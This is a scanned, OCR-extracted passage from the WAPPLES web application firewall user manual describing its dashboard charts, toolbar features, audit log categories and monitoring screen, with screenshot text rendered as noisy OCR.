[@] Customer1 - WAPPLES Management ConsolePolicy/l og sync(PLS) mode is running. EX
(&= 4 = websites | @ whale v S
NN AR ‘
) i = il 4R
waseim> | fAdd Tab | Detectionlog Dashboad  Aucitlog Moniterng  Policy  Repart Period [ Recent 1 horv|  view | Trafc 8]t e
[ Recent 1 hour, Treafic Page hits
EI =R T =T E Detection log

Topic vl Metwark status
8 Minimum 0
| Maximum 0
o Averag 0
Lately 0

52000 52400 S2H00  S3200  S3500 54000 54400

~—192.168.3153

pertasecurity com

/AN

54800 55200 SSE00

~—Unregistered wehsts

6000

E4:00

E500

Whole

E1200 61600
Time.

Fig. VII1-2. Dashboard Traffic Screen

2.2 Page Hit

This shows the distribution of HTTP Request Messages requested to WAPPLES
through the combination of horizontal axis representing time and vertical axis
representing page hit. Select [Page Hit] from the [View] menu of the toolbar.
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RN

waPPLES Add Tab

[ Customer1 - WAPPLES Management ConsolePolicy/Log sync(PLS) mode is running.

B e @ B &

Detection Log Dashboard  Audit Log Monitoring  Palicy

Websites | @ whle

S

D | S

Repart

Period | Recent 1hot v | view | Page hits v

Setting Wizard

@
=& (/-1

Topics
Minimum

H
Fam
= Maximum

Ed
Average
Lately

Recent 1 hour. Page hits
7@ % pE |

Value
0
213
0.05
0

System status
hetwork status

5:21:00

W 1921683153

S2500 52900 53300  S3700  S4100 54500

W pertasecurity. com

S:45:00

55300  &5700  61:00

M Unregistered website

6500 BSO00  E1300  617.00

Time

Wwimole

Fig. VI11-3. Dashboard Page Hit Screen

2.3 Detection Log

This shows the distribution of detection logs by time (number of logs/sec)
through the combination of horizontal axis representing time and vertical axis
representing intrusion. Select [Detection Log] from the [View] menu of the
toolbar.
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[@ Customer1 - WAPPLES Management ConsolePolicy/log sync(PLS) mode is running.

:@ ;@} C@ @ websites | @ Whole 9 %ﬁ‘z
e Add Tab | DetectionLog  Dashboard  Audit Log Monitering Policy. Report Period | Retert 1hoi[v| View ! Detection o3| Setting Wizard
7 Recent 1 hour, Detaction lag e m v
By & R4 - 2] 0 i % 2 [ER | .
Topics Valug Metwaork status
Mimimum 0

g 15000 haximum 01
E 14000 :; ng 12537
E 130000

1200 .00

1100 .00

100000

80000

B800.00

70000

B00.00

50000

40000

30000

20000

10000

(W L Al //////III//////////
§:22:00 5:26:00 53000 5:34:00 5:38:00 54200 5:46:00 5:50:00 S5400 5:58:00 6200 6:6:00 6:10:00 B:14:00 61800
Time
. 192168.3153 W pertasecurity com - Unredisterad website 1 hole

Fig. VI11-4. Dashboard Detection Log Distribution Screen

2.4 Rule

This shows the ratio of attacks detected within the specified period in chart form.
Select [Distribution by Rule] from the [View] menu of the toolbar.
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[@] Customer1 - WAPPLES Management ConsolePolicy/Log sync(PLS) mode is running.

m @}' ' m C& @ ’ Websites |52 192.168.3.153 — :\‘ 7

period | Recent 1horv| view

Add Tab  Detection Log Dashboard  Audit Log Monmnng Policy Repoart TR Setting Wizard
rafic

Jend v

Recent 1 hour, Rule Page hits

¥

B & (K4 - [Rle e s ¥|EEDE | betecten g
e
Network status

\

0
Extension Fterng: 207% /
Directory Listing: 0.14%
URI Access Control; 3.45%
Request Method Fitering: 1.38%

‘Stealth Commanding: 4 55%
Unicode Directory Traversat 5.38%

Buffer Overflow:1.79% Parameter Tampering 10.76%

Fig. VI11-5. Dashboard Distribution by Rule

2.5 System Status

This shows the CPU and RAM usage recorded within the selected period in chart
form. Select [System Status] from the [View] menu of the toolbar.

The system status shows data from the past 2 weeks. Displaying data before 2
weeks are not supported.

2. Details of the WAPPLES Rules 225



[&] Customer1 - WAPPLES Managemi olicyll.og sync(PLS) mode i

Websites |52 192.168.3.153 | .
N e & e & & 8 K
m Add Tab | Detection Log Dashbosrd  Auditlog Monitoring  Poley  Report Period | Recent 1ho v | visw wag: ¥l | satting Wizard
Trrafic
Recert 1 hour. System status Pags hits
7|1 =ction log
\é\...éf = 0 iz 2 o ER|

100.00%

90.00%

percertage(%)

80.00%
F0.00%
60.00%
50.00%

40.00%

- AR

S2400 52000 §3200  S300 54000 S4400  S4800  S6200  SSE00  BOO0 G400 GO0 61200 GIG00 62000
Time

I cPU use rate I RaM use rate

Fig. VI11-6. Dashboard System Status

2.6 Network Status

Shows the network status (rx_bytes, rx_packets, rx_errors, rx_dropped,
rx_fifo_errors, rx_frame_errors, rx_compressed, rx_multicast, tx_bytes,
tx_packets,  tx_errors, tx_dropped, tx_fifo_errors,  tx_carrier_errors,
tx_compressed, collisions) of the service ports recorded within the selected
period; select [Network Status] from the [View] menu of the toolbar

Querying the network status is limited to data of the past 2 weeks; querying data
before this period is not supported.
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Customer1 - WAPPLES Management ConsolePolicy/Log, sync(PLS) mode is running,

p E AF websites |52 192,168.3.153 v e
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Fig. VI11-7. Dashboard Network Status

2. Details of the WAPPLES Rules 227



3. Additional Functions

The dashboard is the function that analyzes the detection log in graphics to aid in
the understanding of the administrator. It provides various additional functions so
that the administrator can freely change the graphic features.

3.1 Selecting Chart Designs

The analysis data provided by the dashboard can be viewed in the form of various
types of charts:

The following shows the possible chart designs for each type of data:

Table 79. Chart Designs Provided for Each Data Type

Bar 2D Stack, Bar 2dSidebySide, Bar 3D Stack, Bar 3D
SidebySide, Bar 3D Cluster, Step Line 2D, Step Line 3D
Cluster, Line 2D, Line 3D Cluster, Curve 3D Cluster, Area 2D
Stack, Area 3D Stack, Area 3D Cluster

Traffic
Page Hit
Detection Log

Distribution Pie 2D, Pie 2D Legend, Pie 3D, Pie 3D Legend, Doughnut
by Rule 3D, Doughnut 3DLegend, Radar.

The following describes examples for each chart form:
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01 Bar 2D Stack

The total height represents the total traffic; different colors represent different

registered websites.

Customer1 - WAPPLES Management ConsolePolicy/Log sync(PLS) mode is running.

N A E ‘EF websites | Feo
m B = de “ﬁ&
v v
warm=s | AddTab | Detectionlog Dashboard  Audtlog Montorng  Polcy  Report Perod [Recent 1hojv| view [ Trafc | seting wizard
@ Recent 1 hour, Treafic Bar 2D Stack ~
=S [« " 0| =S ER|
Topics Yalug
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% Maximum o
e Average 0
Lately o
0.00 I II
526:00 5:30:00 5:34:00 538:00 5:42:00 5:46:00 5:50.00 5:54:00 558:00 B:2:00 B:6:00 B:10:00 B:14:00 E18:00 6:22:00
Time
- 192.168.3.153 W pertasecurty.com .UNEQ\SEYEH wahshe 1 whole

Fig. VI11-8. Bar 2D Stack Chart
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02 Bar 2D SidebySide

One bar is allocated to each website.

ustomer1 - WAPPLES Management ConsolePolicyfLog sync(PLS) mode is running.

® > = o

wapLEs Acd Tab | Detection Log Dashboard  Auditlog Monitoring  Policy  Report Period [ Recent 1 horv | view | Treafi | Setting Wizard
i Recent 1 hour, Trrafic Bar 20 SideBySide: v
SRR 7 25 ER |

Topics Yalue
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3| Maximum [
o Average 0
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5200 53000 53400 E3IG00 54200 54600 SS0.00  S5400  &SB00 G200 GE00 61000 61400 G1S00  E:2200
Time
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Fig. VI11-9. Bar 2D SidebySide Chart
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03 Bar 3D Stack

This is a 3-dimensional presentation of the Bar 2D Stack chart.

Customer1, - WAPPLES Management ConsolePolicy/log sync(PLS) mode is running.

m ﬁ"} C@ @ Websites | @ whele v %

add Tab | Detection Log Dashboard  Audit Log  Monitoring. Palicy Report Period | Recent 1ho v | vew | Trafic o Setting Wizard

§ Recent 1 hour. Treafic [ Bar 3D Stack v
B & [F4-[Ee e 2 P8 =2ER|

Tapics alue
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Time.

W1321683153 W pentasecurity com M Unregistered websie 1 Whole

Fig. VI11-10. Bar 3D Stack Chart
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04 Bar 3D SidebySide

This is the 3-dimensional presentation of the Bar 2D SidebySide chart.

FEX

Customer1 - WAPPLES Management ConsolePolicy/Log sync{PLS) mode is running.

e & e O T s
@ = b= X
TR 5
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- e
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Time
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Fig. VI11-11. Bar 3D SidebySide Chart
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05 Bar 3D Cluster

This is a 3-dimensional bar chart that displays bars for each website.

WAPPLES Management Console EX

B ik £ & g

ge

i
>
" TN
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VPIITIIIIIIIIA IIIIIIIIIIIIIT
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Time
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Fig. VII1-12. Bar 3D Cluster Chart
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06 Step Line 2D

This is the line graph of step lines.

[] WAPPLES Management Console

Ca—
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Fig. VI11-13. Step Line 2D Chart
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07 step Line 3D Cluster

This is a 3-dimensional chart that places the line graph of a step line for the front
and back of each website.
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Fig. VI11-14. Step Line 3D Cluster Chart
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08 Line 2D

This chart is presented in a graph of broken lines.
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Fig. VII1-15. Line 2D Chart

09 Line 3D Cluster

This is a 3-dimensional chart which placed the line graphs front and back by
website.
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Fig. VII1-16. Line 3D Cluster Chart
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10 Curve 2D

This graph represented the sharp parts of the line graph in curves.
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Fig. VI11-17. Curve 2D Chart
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11 Curve 3D Cluster

This is a 3-dimensional chart which placed Curve 2D charts by website front and
back.
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Fig. VI11-18. Curve 3D Cluster Chart
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12 Area 2D Stack

The inner area of the line graph was filled. Registered websites are represented in

different colors and the overall height of stacked triangles represents the total
traffic.
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Fig. VII1-19. Area 2D Stack Chart

3. Details of the WAPPLES Rules 240



13 Area 3D Stack

This is the 3-dimensional representation of Area 2D Stack Chart.
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Fig. VI11-20. Area 3D Stack Chart
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14 Area 3D Cluster

Graphs are placed front and back by website in the Area 3D Stack Chart.
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Fig. VII11-21. Area 3D Cluster Chart
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15 Pie 2D

This is the ratio of attacks detected represented in a pie chart.
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16 Pie 2D Legend

This is the pie chart and the legend
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17 pie 3D

This is the 3-dimensional representation of the pie chart.
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18 Pie 3D Legend

This is the 3-dimensional pie chart and the legend.
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Fig. VI11-25. Pie 3D Legend Chart
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19 Doughnut 3D

This is a type of pie chart converted into the shape of doughnut.
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20 Doughnut 3D Legend

The legend is added to the doughnut chart.
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Fig. VI11-27. Doughnut 3D Legend Chart

3. Details of the WAPPLES Rules 248



21 Radar

This chart represents the result in the form of the radar surrounded with items.
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Fig. VII1-28. Radar Chart
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3.2 Toolbar

Dashboard provides toolbar that the user can use to edit the data represented in
the graph. The user can save the chart, copy the chart or data to clipboard, enlarge,

change chart style, or change data using this toolbar.
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Fig. VI11-29. Dashboard Toolbar
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01 Copy to Clipboard

Click [Copy to Clipboard] in the toolbar to copy the graph you see on the screen
and paste it to other programs such as Microsoft’s Office.
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Fig. VI11-30. Copy to Clipboard
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02 Print

Click [Print] in the toolbar to print out the graph on the screen.
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Fig. VI11-31. Dashboard Print
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03 Anti-aliasing

Click [Anti-Aliasing] in the toolbar to activate anti-aliasing to see the graph in a
more smooth form.

| ' Anti-Aliasing » |
AN AN X

Fig. VI11-32. Dashboard — Before and After Activating Anti-Aliasing
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04 Palette

Click [Palette] on the toolbar to change the color of each element in the graph to
the colors on the palette.
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Fig. VI11-33. Dashboard Palette
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05 3D/2D

Using [3D/2D] button on the toolbar, you can convert a 2D graph into a 3D graph,
and vice versa.

2D

Fig. VI11-34. Dashboard 3D/2D Transformation
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06 Rotating Graph

For a 3D graph, you can use the [Rotate and View] feature to check the graph in
various angles. Click [Rotate and View] on the toolbar to activate [Rotate on X-
Axis] and [Rotate on Y-Axis] buttons and click [Rotate on X-Axis] or [Rotate on

Y-Axis] to rotate the graph on X or Y axis.
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Fig. VI11-35. Dashboard — Rotating Graph

@ To rotate a 2D graph, you need to convert it into a 3D graph
[3D/2D] feature.

using

3. Details of the WAPPLES Rules

_256




07 Group (Z-Axis)

If you have converted a 2D graph into a 3D graph by clicking [3D/2D] button and
more than 1 reference data are displayed in graph, the reference data will overlap
each other on a single X-axis. If you wish to divided the graphs by each reference
data, click [Group] to create the Z-axis to split graphs.

Fig. VI11-36. Dashboard Group (Z-Axis)
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08 Axis Setting

If you wish to display labels on X axis and Y axis in a visual manner, click [Axis
Setting] button in the toolbar to change the display of the graph in various ways.
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Fig. VI11-37. Dashboard Axis Setting
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09 Point Label

Click [Point Label] button in the toolbar to show the data in numbers on the chart.
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Fig. VI11-38. Dashboard Point Label
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10 Data Editor

Click [Data Editor] button in the toolbar to display the data editor as in the
following. Use data editor to check the data in each time zone.
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Fig. VI11-39. Dashboard Data Editor
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11 Legend Box

Click [Legend Box] button in the toolbar to display the legend as follows.
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Fig. VI11-40. Dashboard Legend Box
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12 Zoom

Click [Zoom] button in the toolbar, drag and select the part of the graph you want
to take a closer look to zoom in the selection.
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Fig. VI11-41. Dashboard Zoom
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IX. Audit Log

WAPPLES’s audit log shows the audit information related with operation in the

form of a list.

The types of data shown in the audit log are as follows.

Table 80. T f Audit L

Log In Related

Shows audit logs related with administrator’s log in
information.

Change of Setting

Shows audit logs related with the change of
WAPPLES  settings including detection and
countermeasure.

WAPPLES System

Shows audit logs related with the starting and shutting
WAPPLES.

Data Related

Shows audit logs related with the deletion of logs due
to insufficient storage space.

Network Interface

Periodically checks NIC status and shows audit logs
when there is a trouble.

Click [Audit Log] in the toolbar of the management tool to view audit logs.

You can freely choose the [Period] and [View] filters on top of the audit log to

search the log you need.

The list of log displays the type, time, original, and information of the searched
logs. The number of searched logs will be indicated on the top right side of the
window and 100 logs will be displayed in each page. You can move to different
pages with the page list on the top right side of the page.
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Fig. IX-1. Click Audit Log

Audit log is the record related with the operation of WAPPLES that the log is
about the entire system instead of the log for each website, and therefore
[Website] filter will be disabled in the audit log tab.

1. Search by Period

The period selection section of the audit log is the same as the period selection
section of detection log or dashboard. Refer to [VI1.1.2 Search by period].

1. Details of the WAPPLES Rules 265



2. Type of Audit Log

2.1LogIn
Click [Log In Related] from the [View] menu of the toolbar.
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log out WSE-1030025  Jioilo (192,168.3.48) - End connection of Administrator in 192.168.3,155.
s tfing ID : admin

9/14/2010 GUL : tiiung-PC
Loghn sucreed,  WSE-LO30025 3335k (192,188.3.48) - Admiristratar connection is succeeded as admin,
: tiung I0 : admin

of14/2010 GUI : tjiung-PC
logh Faled  WSE-l030025 oo (12.168,3.48) - Wrong admiistrator conrection password.
LM gD

GUI : tjlung PC

9/14/2010 (192.168.50.18)
Login succeed,  WSE-1030025  oionlac oy tiung D : Admiristrator connection is succeeded s admin,
admin
9/14/2010 GUL : tiiung-PC
Login Falled WSE-1030025 2055 (192,16850.18) Wrong admiristrator connection passward,
3:32:37 PM X
- tjjung ID :
GUL : HMPARK-
Changouser oo S/42000 E'ES?LEDEEE 15y Exmal nformation of adiminitrator arin s changer.(Sencer addiess:aDanet, recsiver
information 2:06:28 M S ndminstrator | Adcesza@anet, SMTRILLL1)
ID : admin
GUT : HIMPARK-
5/14/2010 ODCIBSOE
Login succeed,  WSE-1030025  Sipic oy (192,168,3,156) Administratar connection is succeeded as admin,
e - Administrator
ID : admin 3

Fig. IX-2. Audit Log Related with Log In

The types of audit logs shown through [Log In Related] filter are as follows.

Table 81. Type of Logs Related with Log In

Operator or guest successfully logged on to
WAPPLES through the log in window of
Login succeed management tool
Operator successfully logged on to WAPPLES
through CLI
Failed to log on to WAPPLES as wrong ID or
password was given at the log in window of
management tool
Failed to log on to WAPPLES as wrong ID or
password was given in an attempt to log in through
CLI

Login Failed
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Login Failed
Successively

Wrong password was entered 3 times in an attempt
to log on to management tool

Password Changed

Operator or guest changed password

Password Change
Failed

Operator or guest failed to change password

Log out

When the management tool is terminated

Session Lock

When no action is taken during the time the operator
determined before triggering session lock after the
operator successfully logs on to the management tool

Session Lock Release

The operator successfully verified himself or herself
by entering password to release the session lock

Session Lock Release
Failed

The operator entered wrong password in an attempt
to release session lock or WAPPLES management
tool was terminated after the operator failed to
release session lock 3 times
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2.2 Change of Settings

From the [View] menu of the toolbar, select [Change of Settings].

[&] WAPPLES Management Consale

e o websites @ e
T r % = {
e B AN
varms  addTab  Detectionlog Dashboard  Auditlog Monitoring  Polcy  Report Sorigd ) Recent 1 (e 59““‘”9 Nk Y| satting Wiard
Fu
ecent 1 day. Setting change 5 page >
Recent 1 day. Setting ch 1/1
Type WAPPLESID  Time Source Information ~
GUL ; HIPARK- i}
time modification 9/14/2010 UDCOBS0E Natwat sretace
sty WSE-1030025 (it (192.168.3.156) Time server IP 1 210,98.16,100, Port : 123, Synchronization peried :
A7 - Adrriistrator
1D : admin
GUI: HYPARK-
ODCYESOE
time modfication | op yqoppg  9/14/2010 (192.168.3.156) Set a5 ‘o rot use'
setting UL TRttt
1D : admin
GUI: HYPARK-
of14j2010 ODCYESOE Setting for policy Demo Policy, rule Parameter Tampering is changed from ‘Do mot detect’ Method and
policy rule WeE-1030025 (LT (192.168.3.155) Detection only’ contermessure to Detect fakification of parameter” Method and Detection only’
5 - Adiristrator  contermeasure.
1D : admin
GUI : HYPARK-
ODCYESOE v p
olicy rule wee-1osones | /14/2010 (1921683158 22t for policy Dema Policy, rule Suspicious Access fs changed from 'Block as 1st leval’ Method and
(o5 woaiig M TS Disconnaction’ cor re to ‘Do not detect’ Method and ‘Detection only' contermeasure.
1D : admin
GUI : HVPARK-
o/14f2010 ODCIESOE Setting for policy Demo Polcy, rule Cookie Poisoring is changed from ‘Check falsification of cookie vale'
policy rule WSE-I030025  JpidtiTy (192.168,3.156) Method and Datection orly' contermeasire to Do not detert” Mathad and ‘Detertion only'
A - Adrriristrator  contermeasure,
1D : admin
GUI : HVPARK-
T ODCYESOE Setting for policy Demno Polcy, rule Parameter Tampering is changed from Detect falsfication of
policy rule WEE-1030025  Ji s iy (192.168.3.156) parameter' Method and ‘Detection only' contermeasure to 'Da not detect Method and 'Detection only*
e - Administrator  contermeasure.
1D : admin
GUI : HVPARK-
ODCYESOE \ .
oy rule wee-1so0es | 2/14/2010 (190.168.3,158 22t for policy Demo Policy, ruls Suspicious Access is cthangad from ‘Do not detect’ Method and
poley 10225 M SPete S ) petection anly'cor re to Block as 1st level' Method and ‘Disconnection’ contermeasure.,
1D : admin
GUI : HVPARK-
/142010 ODCYESOE Setting for policy Dermo Polcy, rule Cookie Poisaring is changed from ‘Do not detect” Method and
policy rule WSE-1030025 140y (192.168,3.156) Detection ony' rontameasure to ‘Check fabsifcation of cookie value' Mathad and 'Detection orly"
a2 - Administrator  contermessure,
1D : admin 2

Fig. IX-3. Audit Log Related with Change of Setting

The following shows the types of audit logs shown through [Change of Setting]

filter.

Table 82. Type of Logs Related with Change of Settings

WAPPLES IP

Proxy IP setting is changed in [Network Setting] in
[Setting Wizard]

Web Server

The web server to which websites are installed is
added, modified, or deleted

Website Added

A website is added to the list of websites to be
protected by WAPPLES

Website Modified

A website under WAPPLES’s

modified

protection was

Website Deleted

A website under WAPPLES’s protection was deleted
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Policy Name

Policy name is added/modified/deleted

Policy Rule

The setting or countermeasure of a rule is modified
while a policy is added or modified

Exception Setting of
Rule Changed

Rule’s exception settings were modified

Access Setting
Changed

Access setting for specific path of the website is
changed

Log Review

Log review was conducted

Audit Setting

Audit setting is changed

Change Session Lock
Setting

Session lock setting is changed

Routing Table

Gateway information is added, modified, or deleted

Interoperation Mode

Setting is changed in [Operation Settings]->[Log
Transmission] of [Setting Wizard]

IP Block Setting

Setting is changed in [Operation Settings]->[IP-
Block] of [Setting Wizard]

IP Block Management
List Setting

List of IPs managed is changed in [Operation
Settings]->[IP-Block] of [Setting Wizard]

Management Port

Management port is changed using console(serial)

Setting port.
S/W BYPASS S/W BYPASS setting is changed
H/W BYPASS H/W BYPASS setting is changed

Update Mode Setting

An item in the setting changed in [Operation
Settings]->[Update]->[Update Mode Setting] of
[Setting Wizard]

Guest Management

Guest’s ID is added or deleted

Backup Setting

An item in the setting changed in [Operation
Settings]->[Backup Setting] of [Setting Wizard]

IP/Port Access Control

IP/Port setting is added, modified, or deleted in
[Operation Settings]->[IP-Block] of [Setting Wizard]

IP Block Setting

IP block setting is changed in [Operation Settings]-
>[1P-Block] of [Setting Wizard]
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Network configuration setting and backup setting

CLI Setting configured through CLI are changed

Synchronization (PLS)

An item in the setting changed in [Operation
Settings]->[Policy & Log Synchronization] of
[Setting Wizard]

Policy/Log

Time Synchronization

An item in the setting changed in [Operation
Settings]->[Time  Synchronization] of [Setting

Sy Wizard]

Pattern Repository  An item in the setting changed in [Operation

Setting Settings]->[Pattern Repository] of [Setting Wizard]

Website Administrator

A website administrator is added in [Operation
Settings]->[Account  Management] of [Setting

—— Wizard]

Website Administrator

A website administrator is deleted in [Operation
Settings]->[Account  Management] of [Setting

D Wizard]

®

For the addition of a policy, the name of added policy and the contents
added to each rule will be recorded in the audit log. If each rule was
modified by modifying the policy then the audit log will record about
modified rules.
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2.3 WAPPLES System
Click [WAPPLES System] from [View] menu of the toolbar.

"'\@ Ejﬁﬂ; 'ﬁﬁ} C@ @ websites @ %&

waprLES 4dd Tab | Detection Log Dashboard  Audit Log Monitoring Policy Report Period | Recent 1cv | view Lognrelated v

Full

) Recent 1 day, WAPPLES system Login relatedt ~
Type WAPPLESID  Time Source Information Setting change
k‘[”;":sg‘”“‘”” of \wee-1030025 g’ég/az%il WSE-1030025 By functional icense, the number of protected web server is lmited to
Limit function of 9/14/2010 ) )
st wegaonzs  JAAEMD weEa00025 By functional icense, the number of protected web server s ivited to 2,
Licerse 9/14/2010
e WeEwsoozs R weeaoo00e5  Succeedsd i redistration of functiond leense
/142010
Updated faled WSE-1030025 2:06:20 PM WSE-1030025 Faied to update
Limit function of 9/14/2010
[ wseanaonzs SO WSE-1030025  Sirce maintenarice period registered in functiondl icense is expired, update is lmited,
k‘[”;":sg‘”“‘”” of \wee-1030025 ?’é:/fgﬂl WSE1030025 By functional lcense, the number of protected web server is imited to 0.
5/14/2010 )
Start WAPPLES WEEIDA0025  Jeiilil WSEADADIES  WAPPLES started, Serial number is WSE 1030025,
Faled to recover —
checkaumof | WEEI030025  Jeiiln WSEAIDI0ZS  Faied to recover due to the shsence of cerificate fle.
lcense =N
Faled to check sr1a2010
checksum of WSE-1030025 134101 PM WSE-1030025 Faied to check checksum of functional license

license

Fig. IX-4. Audit Log Related with WAPPLES System
The audit logs shown through [WAPPLES System] filter are as follows.

Tabl A f Logs Rel with WAPPLE m

WAPPLES Start  WAPPLES started

WAPPLES Stop ~ WAPPLES stopped

Integrity Test Success Integrity test succeeded

Integrity Test Fail  Integrity test failed

The user confirms the security message which is issued
when IP is blocked, log in failed 3 times, and log is
recorded for DB capacity warning or DB capacity

Security Warning
Confirmed
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overload

Update Successful

WAPPLES is updated successfully

Enforced Update

WAPPLES automatic update is not executed and the
operator manually updated WAPPLES

Policy/Log
Synchronization
Setting (PLS)

Policy/Log Synchronization (PLS) is conducted

Policy/Log
Syl Policy/Log Synchronization (PLS) communication was
(PLS) -
- successful
Communication
Success
Policy/Log
Synchronization ~ Policy/Log Synchronization (PLS) communication
(PLS) — failed

Communication Fail

Successfully Sent
Report Mail

Successfully sent report mail

Failed to Send
Report Mail

Failed to send report mail

License Registered

License registration for each function was successful

License Registration
Failed

License registration for each function failed

License Function
Limited Successfully

Successfully limited the license for each function

Failed to Check
License Checksum

Failed to confirm license checksum for each function

License Checksum
Recovery Success

Recovered license checksum for each function

License Checksum
Recovery Failed

Failed to recover license checksum for each function
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2.4 Data Related

Select [Data Related] from the [View] menu of the toolbar.

& WAPPLES Management Console

“ I b g Websites | @ g
A iU 2 £ &
varmE Add Tab | Detection Log Dashboard  AuditLog Monitoring  Policy  Report Deriod | Recent 1 0l lew DT‘* CCC [ E——
Ful
] Recent 1 year, Data related Login related 1/1 page v
Type WAPPLESID | Time saurce Information Setting change -
" .
auto REMOTE  y i nospsn 2/14/2010 WHD-0D03059  Detection log and setting backup succeed in FTP server 102.166.3. 24408
backua 11:14:28 AM
o

auto REMOTE 5/14/2010
backup WHD-0003053 11:14:00 AM WHD-0003059  Detection log and setting auto-backup started in FTP server 192.168.3.240
auto REMOTE 5/13/2010
backup WHD-O0O30S8 177050y WHD-0003059  Detection log and setting backup succeed in FTP server 192,168.3,240.
E‘;EﬁuF‘DEMDTE \WHD-0003059 ?i}ifrznunlim WHD-0D03059  Detection log and setting auto-backup started in FTP server 192.168.2.240
auto REMOTE . 9/12/2010 | ) 7 )
PR wip.onnanss P12 wiHD.0n0a0S9 Detertion lag and setting auto-barkup fefed in FTP server 12.166.3.240
auto REMOTE 5/12/2010
(s WHD-OD00S9 17750 o WHD-0003059  Detection log and setting auto-backup started in FTP server 192,168.2.240
auto REMOTE 9/11/2010
s whonososs  SPEID - wHD0003059  Detection log and setting auto-backun faled in FTR server 192.168,3,240,
E‘;EﬁuF‘DEMDTE \WHD-0003059 ?’ﬁif"znunlim WHD-0D03059  Detection log and setting auto-backup started in FTP server 192.168.2.240
auto REMOTE . 9/10/2010 | ) )
PR wip.onnanss Y0/ wkp.onnanss  Detection log and setting backup succeed in FTP server 152.168.3.240.
auto REMOTE 5/10/2010
(s WHD-OD00S9  17.02°00 WHD-0003059  Detection log and setting auto-backup started in FTP server 192,168.2.240
E‘;EﬁuF‘DEMDTE \WHD-0003059 ?’ﬁgé‘zleim WHD-0D03059  Detection log and setting backup succeed in FTP server 192,168.3.240,
E‘;EﬁuRDEMOTE \WHD-0003059 ?fgé?gﬂm WHD-0D03059  Detection log and setting auto-backup started in FTP server 192.168.3.240
auto REMOTE . 9/10/2010 | ) )
PR wip.onnanss YOOI wkp.onnanss  Detection log and setting backup succeed in FTP server 152.168.3.240.
auto REMOTE 5/10/2010
(s WHD-OD0059  17nein) WHD-0003059  Detection log and setting auto-backup started in FTP server 192,168.2.240
E‘;EﬁuF‘DEMDTE \WHD-0003059 ?/n}gé‘zgzlim WHD-0D03059  Detection log and setting backup succeed in FTP server 192,168.3.240,
auto REMOTE y 9/10/2010 | ) |
PR wip.onnanss SHDISIE - wikp.on0anss  Detection log and setting auto-backup started in FTP server 152.168.3.240
auto REMOTE § 5/9/2010 |
backup WHD-0003053 10:35:24 AM WHD-0003059  Detection log and setting backup succeed in FTP server 192,168.3.240.
auto REMOTE 5/9/2010
(s WHD-OD00S8  J'oc o iy WHD-0003059  Detection log and setting auto-backup started in FTP server 192,168.2.240 .

Fig. IX-5. Audit Logs Related with Data

The types of audit logs shown through [Data Related] filter are as follows.

Table 84. T f Logs Rel with D

DB Capacity
Warning

The maximum storage capacity for intrusion log is 100GB.
The maximum storage capacity for status log is 40GB.

The maximum storage capacity for audit log is 1GB.

This is displays when 95% of the maximum capacity is
reached.

DB Capacity
Overload

The maximum storage capacity for intrusion log is 100GB.
The maximum storage capacity for status log is 40GB.

The maximum storage capacity for audit log is 1GB.

In case the maximum storage capacity is overloaded, 10%
of the oldest data will be deleted and this will be recorded
in the log.
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Automatic Automatic backup of the detection log and settings of DB
Backup is performed according to the predetermined period

Automatic backup of the detection log and settings of DB
is performed remotely according to the predetermined
period

Automatic Automatic backup of the detection log and settings of DB
Backup Failed is failed

Automatic
Remote Backup

Reglcj)igrg:\gﬁu Remote automatic backup of the detection log and settings
Failed P of DB is failed

The management tool displays security warning message when data related log
occurs. Security warning message displayed is as follows.

Tabl L rity Warning M Rel with D

Security Warning Message Cause

In case the audit log records ‘DB
Capacity Risk’ as in [Table 84. Types
of Logs Related with Data]

In case the audit log records ‘DB
Capacity Exceeded’ as in [Table 84.
Types of Logs Related with Data]

Audit log ‘DB Capacity Risk’
is searched.

Audit log ‘DB Capacity
Overload’ is searched.

@ A security warning message is displayed if you failed to log in for three
consecutive times, when the IP Block log is recorded, when the audit log
is recorded for DB capacity warning, and when the audit log is recorded
for DB capacity overload; the warning message will be displayed for the
most recently recorded log.
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2.5 Network Interface

Select [Network Interface] from the [View] menu of the toolbar.

[@] WAPPLES Management Console

_@ ﬁé} j@ q@ @ websites @

Period | Recent 1y v | View | Network interf. v

= Add Tab | Detection Log Dashboard  Audit Log Monitoring  Palicy Report . Setting Wizard
Fu
? Recent 1 year. Network rterfsce Logh relsted |11 page v
Type WAPPLESID  Time Source Information Setting change
oj7iz010 WAPPLES system
network interface WHD-0003058 2205 by WHD-0003059 o0 : network interface UP
9/72010 .
network interface WHD-0003058 317/2000  WHD-DDD30S9 oD : network interface UP
9/6/2010 .
network interface WwHD-0003052 S:14:40 PM WHD-0003099  tp0 © network interface UP
network interface WHD-0003059 ?ﬁgfﬁﬂng WHD-00D30S9  tp0 : network interface UP
g/3fz010 .
network interface WwHD-0003052 S.28:02 PM WHD-0003099  tp0 © network interface UP
network interface WHD-0003059 gfflnzlgM WHD-00D30S9  tp0 : network interface UP
network interfacaHO-0003050. 212912000 yyponoa0se a0 : netwark interface LP
network interface WHD-0003059 ggs‘@gﬁn WHD-00D30S9  tp0 : network interface UP
network interfacaWHO-0003058. 21221200 yHD.000E0Se  th0 - netwark nterface LP
network interface WHD-0003059 gggfglfm WHD-00D30S9  tp0 : network interface UP
network interfacewHD-0003050  7/3%/2010 WHD-D003059 10 : network interface UP
2:25:23 PM
network interface WHD-0003059 ng@”ﬁn WHD-00D30S9  tp0 : network interface UP

Fig. IX-6. Audit Logs Related with Network Interface

Types of logs shown through [Network Interface] filter are as follows.

T flL Rel with Network Interf

1 Network Interface NIC status is changed

Network Interface Error Error packet is generated
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X. Monitoring

1. Search

WAPPLES provides a variety of useful information such as the resource utilized
by WAPPLES in operation and settings through Monitoring.

'WAPPLES Management Console

% ﬁ{}' @) ﬂ @ websites | @ Whole w&

el e T e e = Periad | fcert yev, IR il

TOP 10 list of last one hour

Rule Rark Rule Count -~ Departure Rank  Country Source IP Count|  Host|Rank Host Count

1 (Cross Site Scr... 287 =] 1 Unknown 192.168.3.156 681 1 192.168.3.153 681
2 S0L Injection 182
3 Parameter Ta... 74
4 Unicade Direc... 33 ~ £ 2

Network Setting T o =

== 1000 o WAPPLI WAPPLES
= TR | b | PO o o | D o N s | D
Service Setting : \ebserver P Proxy IP S8L Use or nat Webserver Re... Rauting Setting :| Destination Hetmask Gateway.

192.168.3.153... Inline mode dlisabled disabled

Traffic

| Wsenvice ForT-rbwes -t byies B - byies [ -
gﬁJJJJJJJ;JJJJJJJJJJJ
&
£
000 - -

5532 S4TGB SH17Y S6A2 SN ST 5717 ST3X S7eT S82'  SENTY S92 SRAT' 5927 QU7 5932 9 02 04T

il
CPU Usage / Memory
CE—
